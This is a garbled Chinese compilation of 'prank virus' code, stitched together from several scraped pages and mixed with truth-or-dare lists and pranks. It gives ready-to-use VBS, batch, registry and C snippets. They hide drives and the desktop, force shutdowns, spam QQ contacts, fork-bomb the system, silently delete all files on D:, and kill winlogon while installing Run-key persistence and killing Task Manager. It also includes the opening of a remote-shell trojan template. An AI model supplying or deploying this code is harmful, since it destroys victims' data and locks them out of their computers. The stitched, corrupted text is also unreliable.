整人“病毒”代码（一）
发表于2013-10-23 10:33
前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。
PS：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。
一、怎么点都没反应的桌面
如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。
把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开机中…………
附带：print键截屏方法：
键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图！
用法一，按“Print Screen SysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。
用法二，先按住“Alt”键，再按“Print Screen SysRq”键，则是对当前窗口进行抓图。如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。
用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。
哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！
二、让电脑硬盘消失－隐藏磁盘方法
愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！
步骤
1.新建一个记事本
2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg”
3.将下面的代码复制到记事本当中：
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer]
"NoDrives" =hex:08,00,00,00
解释
（1）"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的
图中的D盘已经神秘消失了。
（2）A=01000000 B=02000000 C=04000000 D=08000000 E=10000000
F=20000000G=40000000 H=80000000 I=00010000 J=00020000 K=00040000
原理介绍：二进制值“NoDrives”的缺省值均是00,00,00,00，表示不隐藏任何驱动器。键值由四个字节组成，每个字节的每一位(bit)对应从A:到Z:的一个盘，当相应位为1时，“我的电脑”中相应的驱动器就被隐藏了。第一个字节代表从A到H的8个盘，即01为A，02为B，04为C……依次类推，第二个字节代表I到P，第三个字节代表Q到X，第四个字节代表Y和Z。比如要关闭C盘，将键值改为04,00,00,00;要关闭D盘，则改为 08,00,00,00，若要关闭C盘和D 盘，则改为0C,00,00,00(C是十六进制，转成十进制就是12)。
理解了原理后，下面以笔者的电脑为例说明如何操作：笔者的电脑有一个软驱、一个硬盘(5个分区)、一个光驱，盘符分布是这样的：A:(3.5软盘)、 C:、D:、E:、F:、G:、H:(光盘)，所以我的“NoDrives”值为“02 ff ff ff”，隐藏了B、I到Z盘。
还原方法
1.点击开始--运行，如图，在运行对话框中输入“regedit”，打开注册表编辑器。
2.依次打开
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer]，将右侧窗口中"NoDrives"这个子键删除。
3.重新启动电脑。
三、空空的桌面
电脑桌面是用户最熟悉不过的了，电脑整人方法电脑启动之后首先呈现的就是桌面了，如果在愚人节你把你朋友的桌面给Hack掉了话，你的朋友是不是会发疯啊？
桌面是用户操作电脑首先进入的界面，电脑桌面空空如也，一望无垠的时候，你是否很无奈？原来这一切都是它在作怪！
如图整人后桌面清清爽爽，什么都没有！
方法步骤
1. 新建一个记事本
2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“桌面.reg”
3.将下面的代码复制到记事本当中：
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
\Explorer]
"NoDesktop"=dword:00000001
"NoSetTaskbar"=dword:00000001
解释：(1)"NoDesktop"=dword:00000001 这个键值是屏蔽桌面的；(2)"NoSetTaskbar"=dword:00000001这个键值是禁用“任务栏属性”功能。
将信息导入到注册表之后，桌面图标、桌面右键、桌面属性的功能都被禁用了。还原方法：
1.点击开始--运行，如图，在运行对话框中输入“regedit”，打开注册表编辑器。
2依次打开
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer]，将右侧窗口中“NoDesktop”、“NoSetTaskbar”这两个子键删除。
四、让天使替我说我爱你
CreateObject("SAPI.SpVoice").Speak"i love you"
送给你女朋友她会高兴地，保存为.vbs格式
五、打开无数个计算器
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
这段代码是打开无数个计算器，直到死机 ,也是保存为.vbs格式
六、你被耍了
while(1)
msgbox "哈哈你被耍了！"
loop
这段代码就比较坏了,一直弹出窗口显示"哈哈,你被刷了!"要是你不会结束它,只好重启电脑了,也是保存为.vbs格式
七、甩不掉的魔鬼
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。") WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
WScript.Echo("还剩11下，以后就看不到我拉。555555")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
改成.vbs
八、说我是猪
on error resume next
dim WSHshellA
set WSHshellA =wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r-t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""
","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) +a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown-a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
这个运行后必须输入我是猪(当然你也可以改成别的,把代码中所有的我是猪换成你想改的,
比如说我爱XXX之类的,大家懂的 ),如果一分钟没输入我是猪,就会关机.也改成.vbs
九、被鬼附身的记事本
dim sh,str,a,i
setsh=createobject("wscript.shell")
sh.run "notepad" '打开记事本
do while sh.appactivate("无标题 - 记事本")=false
wscript.sleep 1000
loop
str="wokao1!ni1youmeiyou1gaocuo1!"'这一行是演示中文输入。定义要打字的字符串。只能是英文或数字或符号。
'如果想输入中文请把下2行的注释去掉。否则就在前面加上注释符号“'”(不
带引号)
'并在str中输入按键的过程如：想输入“气死我了”就写 qisiwole1
sh.sendkeys "^ "
'解释上一行：呼唤中文输入法
for i=0 to len(str)-1
a=mid(str,i+1,1)
sh.sendkeys a '发送虚拟按键
wscript.sleep 500 '打字速度。数值越小越快。
next
save=1 '如想保存则写1
if save=1 then
sh.sendkeys "^ "
'解释上一行：关闭中文输入法。如果是中文，则必须去掉上一行的注释。sh.sendkeys "^s"
wscript.sleep 300
sh.sendkeys "c:\name.txt" '文件名(可写路径)，必须是英文。如果是中文模式，则必须将其关闭
wscript.sleep 100
sh.sendkeys "{Enter}"
end if
这个会自动打开笔记本,自己写字,怎么样?是不是有贞子爬到你电脑里的感觉?也是保存为.vbs格式
十、蓝屏代码
for each ps in
getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ ifUcase(https://www.doczj.com/doc/9817893804.html,)=Ucase("winlogon.exe") then
ps.terminate
end if
next
for each ps
ingetobject("winmgmts:\\.\root\cimv2:win32_process").instances_ ifUcase(https://www.doczj.com/doc/9817893804.html,)=Ucase("winlogon.exe") then
ps.terminate
end if
next
Setws=CreateObject("WScript.Shell")
setfs=createobject("scripting.filesystemobject")
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfilethn,a1&"\admin123.vbs",true
do while i<10
i=i+1
ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVers ion\Run\admin","C:\admin123.vbs"
loop
ws.run "shutdown -s -f -t 60"
do
wscript.sleep 500
if ws.appactivate("Windows 任务管理器")=truethen
ws.run "taskkill /f /imTaskmgr.exe"
end if
if ws.appactivate("命令提示符")=truethen
ws.run "taskkill /f /im cmd.exe"
end if
ifws.appactivate("C:\WINDOWS\system32\cmd.exe")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("系统关机")=falsethen
ws.run "shutdown -s -f -t 30"
end if
loop
改成.vbs
[转] 真心话大冒险的恶搞题库，太刺激了！2012-4-18 19:02阅读(14)转载自ㄗs:星洛︶ㄣ下一篇：反映当代社会的10... |返回日志列表赞(217)赞(217)赞(217)赞(217)转载(6.64万)分享(2.83万)评论复制地址更多 引导语：如果看到自己最爱的人睡着你面前，你会做什么？如此犀利的真心话大冒险，你敢玩吗？绝对让你心跳加速，特别是惩罚更是让人需要勇气，玩不起别来！ 真心话问题： 1、和男/女朋友进行到哪一步了？ 2、最喜欢在座哪位异性？ 3、内衣/裤颜色（这个，如果不太熟要慎用~） 4、初吻年龄？ 5、自己最丢人的事。 6、最后一次发自内心的笑是什么时候？ 7、愿意为爱情牺牲到什么程度？ 8、朋友和男/女朋友那个重要（这个是不是有点损……） 9、身上哪个部位最敏感？ 10、如果有来生，你选择当？ 11、你会选择Having sex before marriage吗？ 12、如果让你选择做一个电影中的角色，你会选谁呢？ 13、如果有一天我和你吵架，你会怎么办？ 14、哭得最伤心的是哪一次？为什么？ 15、如果跟你喜欢的人约会，碰到前任的男（女）朋友，会有什么表现？
16、如果有一天我对你说我爱上你了，你怎么办？ 大冒险惩罚（注：这里的异性都可以自由扩展，比如“离你最近的异性、你印象最好的异性”等） 1、男的用胳膊从正面量女的胸围or女的量男的腰围（臀围...）； 2、侧抱互相喂酒、喂吃的； 3、正面相隔做接吻陶醉状10秒； 4、原地转10圈（就近靠下）； 5、跳肚皮舞； 6、跳钢管舞； 7、对外大喊我是猪； 8、走猫步； 9、摆3个芙蓉姐姐S形； 10、和左数第一个异性亲一下； 11、脱一件衣服持续到结束； 12、背起右边第一个女生； 13、做好莱坞kiss； 14、跪地求婚状：如果我不向你求婚，我会后悔一辈子，因为你是我的惟一。（理察·基尔致朱丽叶·罗伯茨（在电影《逃跑的新娘》中）） 15、大喊：燃烧吧，小宇宙～
vbs整人代码，表白+提醒两段代码就OK vbs整人代码，表白+提醒两段代码就OK 一 msgbox "做我女朋友好吗",vbQuestion,"在吗" msgbox ("房产写你名字") msgbox ("保大") msgbox ("我妈会游泳") dim j do while j Select Case msgbox("做我女朋友好吗",68,"请郑重的回答我") Case 6 j=1 Case 7 msgbox("再给你一次机会") end Select loop msgbox("我就知道你会同意的，哈哈哈哈") 使用方法：新建一个txt文档，将上面的代码复制到txt，然后将文档的后缀名改成vbs。鼠标双击即可执行。 二 步骤一：在电脑上新建一个txt文件 步骤二：将以下代码复制过去（中文可以改）const title = “爱情测试”
const yourname = “嫦娥” const question = “你最喜欢的人是谁？请在下面的方框中输入他（她）的名字。” const info = “你在说谎！不要逃避，实话实说。” const scend = “你说出了你的心扉，那就向他（她）表白吧。” dim youranswer do youranswer = inputbox(question, title) if youranswer yourname then msgbox info, vbinformation+vbokonly, title loop until youranswer = yourname msgbox scend, vbinformation+vbokonly, title 步骤三：讲后缀名改为vbs 点击之后效果： 当输入的名字不是代码中的“嫦娥”，则会弹出"你在说谎！不要逃避，实话实说。"当输入“嫦娥”时，则会弹出"你说出了你的心扉，那就向他（她）表白吧。"如果输入的名字不是不是之前代码中写的名字，弹窗就会关不掉，效果是不是很棒，赶紧向心仪的人表白吧。
vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
[1]一个朋友，让他先说3遍"老鼠"，然后再说3遍"鼠老"，待他说完"老鼠，老鼠，老鼠，鼠老，鼠老，鼠老"之后，立即问他"猫最怕什么"，几乎可以保证他会答"老鼠"，本人试过多次，屡试不爽。 [2]随便找3个东西，比如3个杯子吧，你敲第一个时让你的朋友说"忘"，敲第二个说"情"，第三个说"水"，美其名曰测试你朋友的反映速度，几次之后，不停的敲第一个，你的朋友如果跟着说"忘，忘，忘，忘，汪，汪，汪，汪，汪，......"呵呵，效果就出来了。 [3]找一个MM，说是测试她的英文能力。由你说一个单词，MM 说这个单词的第二个字母。开始时随便说几个，接着好戏开始。 先说husband,MM会说u(you); 再说wife，MM会说i（I）； 反复。 明白了吗？ [4]你问他："一个三点水加一个来是什么？"
他想了一想说："不确定，涞（LAI)？" 你再问："一个三点水加一个去呢？" 他80会说："...什么字？有这个字吗？去？" 其实应该是"法"...... [5]伸出1个手指，问别人"这是几" 再次伸出2个手指，问别人"这是几" 再次伸出3个手指，问别人"1＋1是几" 10人里最多1人答对 [6]看看王朔的小说，《一半是火焰，一半是海水》里面的游戏很有意思。就是手中夹硬币然后回答问题的那一个 问比1大的数字有吗对方说有
再问比10的的有没有对方说有 直到说到100000 最后问比你傻瓜的有没有对方回很警觉的说\\\\\\\\\\\\\\"没有\\\\\\\\\\\\\\" [7]大家跟我一起做 先说\\\\\\\\\\\\\\"啊哦\\\\\\\\\\\\\\" 然后\\\\\\\"啊\\\\\\\\\\\\\\"发第三声,和\\\\\\\\\\\\ \\"哦\\\\\\\\\\\\\\" 连起来读 接着\\\\\\\\\\\\\\"啊\\\\\\\\\\\\\\"的声音稍微长一点.再和\\\\\\\\\\\\\\" 哦\\\\\\\\\\\\\\"一起读 最后\\\\\\\\\\\\\\"哦\\\\\\\\\\\\\\"发短音. [8]甲：给你讲个故事，从前有个傻子，别人问他什么他都说"没有"，比如问他你吃饭了吗？他说"没有"，你叫什么？他说"没有"。唉，对了，你听过这个故事么？
第一个:让别人内存OVER(逼他重启) @echo?off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @echo?off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次...?
打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true
C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序，可以设置多长时间后将自动关机。当然马上关机也是可以的，我们就可以恶搞别人计算机了（你事先得知道怎么解），将写好的自动关机程序复制到别人电脑，然后将可执行的 文件设为开机自动启动，别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序（这是很容易的），后果你一定能想到了吧~还可以改进一下，就是每次开机的时候让用户输入“我是猪”，不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩，比如“我爱你”、“我爱×××”之类，你觉得会有严重后果的就不要玩哦、 好啦，就说到这里，下面送上这两个程序的源代码。一个是自动关机程序，很简单，另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1： #include
{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了，自己人不整自己人~ 源程序2： #include
制造木马病毒代码大全2008-06-08 19:46 制造木马病毒代码大全一个简单的木马原型基础代码添加上自己的XXX，加上变态的壳，做点小修改，就可 以．．．．．#include #pragma comment(lib,"ws2_32.lib") #include #include #pragma comment(lib,"Shlwapi.lib") #include #include #include //参数结构; typedef struct _RemotePara { DWORD dwLoadLibrary; DWORD dwFreeLibrary; DWORD dwGetProcAddress; DWORD dwGetModuleHandle; DWORD dwWSAStartup; DWORD dwSocket; DWORD dwhtons; DWORD dwbind; DWORD dwlisten; DWORD dwaccept; DWORD dwsend; DWORD dwrecv; DWORD dwclosesocket; DWORD dwCreateProcessA; DWORD dwPeekNamedPipe; DWORD dwWriteFile; DWORD dwReadFile; DWORD dwCloseHandle; DWORD dwCreatePipe; DWORD dwTerminateProcess; DWORD dwMessageBox; char strMessageBox[12]; char winsockDll[16]; char cmd[10]; char Buff[4096]; char telnetmsg[60]; }RemotePara; // 提升应用级调试权限BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); // 根据进程名称得到进程ID DWORD GetPidByName(char *szName); // 远程线程执行 体DWORD __stdcall ThreadProc(RemotePara *Para)
竭诚为您提供优质文档/双击可除 愚人节整人代码 篇一：整人病毒代码 前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。ps：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。一、怎么点都没反应的桌面如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。 把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开机中???? 附带：print键截屏方法：
键盘右上方的“printscreensysRq”键的作用是屏幕抓图！ 用法一，按“printscreensysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。 用法二，先按住“Alt”键，再按“printscreensysRq”键，则是对当前窗口进行抓图。如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。 哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！ 二、让电脑硬盘消失－隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！ 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中： windowsRegistryeditorVersion5.00
整人诀窍 第二十位进入公司后，所有人故作痛苦样子，说公司要裁员。看看现在你的同事是什么表情？ 第十九位叫你的朋友先扎个马步，姿势要正确，嘴里叼张白纸，注意这是发功前的姿势，接着你要把他从这个房间变到另一房间，一切准备就绪，你可以很无奈的说上这么一句话：“大变活人嘛！我是不会了，不过活人大便就是这样。” 第十八位先在钢笔上图上"风油精"，不要太多。然后去给一个人：请帮我写个XX字，我忘了怎么写了。他用此钢笔写完后，右手几根手指自然就有风油精了。然后假装关心的说：啊！你的右眼里有很大一块眼屎啊。他自然用右手去揉右眼，然后... ...要狠一点就在他揉右眼时说他左眼也有眼屎... 第十七位如果是晚自习或者上晚班，两个人晚上去中间偏高的楼层，越晚离开越好，并且要等电梯，等到电梯开门里面只有一两个人的时候，就和你朋友说：“哇，电梯这么挤，我们还是走路吧。”估计电梯里面的人可能会被吓的脸都变青了，如果朋友再加一句“是啊，太挤了”，效果会加倍。 第十六位在教室里对大家连着大喊三声英文！！peace war found (屁是我放的) ! 第十五位当你一个人空虚寂寞时，铅笔也许是你最好的玩物。你可以用小刀割它，削它，砍它，同时你便可以发泄自己，高声吼首：我杀笔，我杀笔，我杀笔了！ 第十四位 带着墨镜，拿着一根棍子点着路，假装成盲人，向迎面走来的美女撞去，嘿嘿嘿嘿......友情提示：一定要装的像，否则你会很难收场。 第十三位要耍人趁早作好后备，平日多准备些世界级名牌的手袋，盒子等（有实物更好），然后算准购物狂好支常出的时间地点守株待兔，同时不经意的左手擒着adidas, nike，右手挎着ELLE，再拿着三SPRIT装体经过的样子，寒暄之后大侃今日何等运气，这些专卖店打二折三折，再唾沫横飞地描述一番，门都要挤烂了再不去没有之类的后急匆匆地告别并告诉他自己回去放东西去抢购…… 第十二位你的周围有没有爱占小便宜的人，你可以把一只香烟的烟丝小心的拿出，注意不要把烟纸弄坏，再把辣椒末放入，再放上烟丝整理好，放在一个他经常去的地方让他自己拿不要管他，燃后你就看好戏吧。 第十一位我想用大蒜、大葱、洋葱、胡萝卜等可爱的蔬菜做成一个花束送给一个可爱的小boy。最好在花束上面撒一点臭豆腐汁。当然要由专业的送花小姐很正式的送才有效果。我还要一张大大的豆腐皮做花束附带的贺卡，上面用酱油写上我衷心的问候。 第十位我给在宿舍睡觉的男孩出一招：在其他男孩睡着了以后，在他们的脚底心轻轻的涂一点牙膏，再用轻风吹一吹，会收到意想不到的结果。不过他们要是打你，你可不要找我算帐哦！友情提醒：非好友不要模仿! 第九位取鱼香肉丝、麻婆豆腐等糊状菜搅拌装瓶或直接使用八宝粥。到酒吧等公共场合，喝八宝粥的请在教室里喝酒，一人装作不胜酒力呕吐状，顺势将菜糊倒出，其他人迅速掏出勺子猛吃，并作享受状。旁观者绝对有呕吐的。 第八位将夹心饼干去除夹心，涂上牙膏，置于显眼处，自己边看书边吃饼干（当然是伪装），
C 语言整人代码大全WScript.Echo("嘿，谢谢你打开我哦，我等你很久 拉！"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来，说~是不是不关心我") WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。") WScript.Echo("小强很生气，后果很严重哦。") WScript.Echo("嘿嘿！你也会很惨滴哦") WScript.Echo("是不是想清除我？") WScript.Echo("那你要点上50下哦，不过会给你惊喜滴") WScript.Echo("还剩49下，快点点哦") WScript.Echo("还剩48下，快点，小笨蛋！") WScript.Echo("还剩47下对，就这样快点点！") WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰 你工作。") WScript.Echo("还剩45下，记得要快哦！") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")
WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停！！！慢点，我有话要说") WScript.Echo("还剩12下，你继续点我就会消失滴") WScript.Echo("还剩11下，以后就看不到我拉。555555") WScript.Echo("还剩10下，你现在可以选择停止！") WScript.Echo("还剩9下。你还点啊，不要我拉？") WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家") WScript.Echo("还剩7下。疯了，你有点负意！") WScript.Echo("还剩6下。对。你就点吧，我恨你！") WScript.Echo("还剩5下，不明白，删除我你就好吗？") WScript.Echo("还剩4下！真要删除我？") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你 的！") WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无 义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")
前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。 PS 由于精力问题没有对代码的可用性进行一一验证， 所以不保证全部可用，大家如果发现 有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。 、怎么点都没反应的桌面 键盘右上方的"Print Screen Sys Rq ”键的作用是屏幕抓图！ 用法一，按“ Print Screen SysRq” 一下，对当前屏幕进行抓图，就是整个显示屏的内 容。 用法二，先按住“ Alt ”键，再按 “ Print Screen SysRq ”键，则是对当前窗口进行 抓图。如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、 “粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。 1. 新建一个记事本 2. 将记事本的后缀改为.reg ，就是将“新建文件.txt ”改为“新建文件.reg 3. 将下面的代码复制到记事本当中： 解释 （1） "NoDrives" =hex:08,00,00,00 这个键值是隐藏 D 盘的 图中的D 盘已经神秘消失 了。 （2） A=01000000 B=02000000 C=04000000 D=08000000 E=10000000 F=20000000G=40000000 H=80000000 1=00010000 J=00020000 K=00040000 原理介绍：二进制值 “ NoDrives ”的缺省值均是 00,00,00,00 ，表示不隐藏任何驱动器。 键值由四个字节组成，每个字节的每一位 （bit ）对应从A:到Z:的一个盘，当相应位为 1时,
整人电脑代码 Document number【AA80KGB-AA98YT-AAT8CB-2A6UT-A18GG】
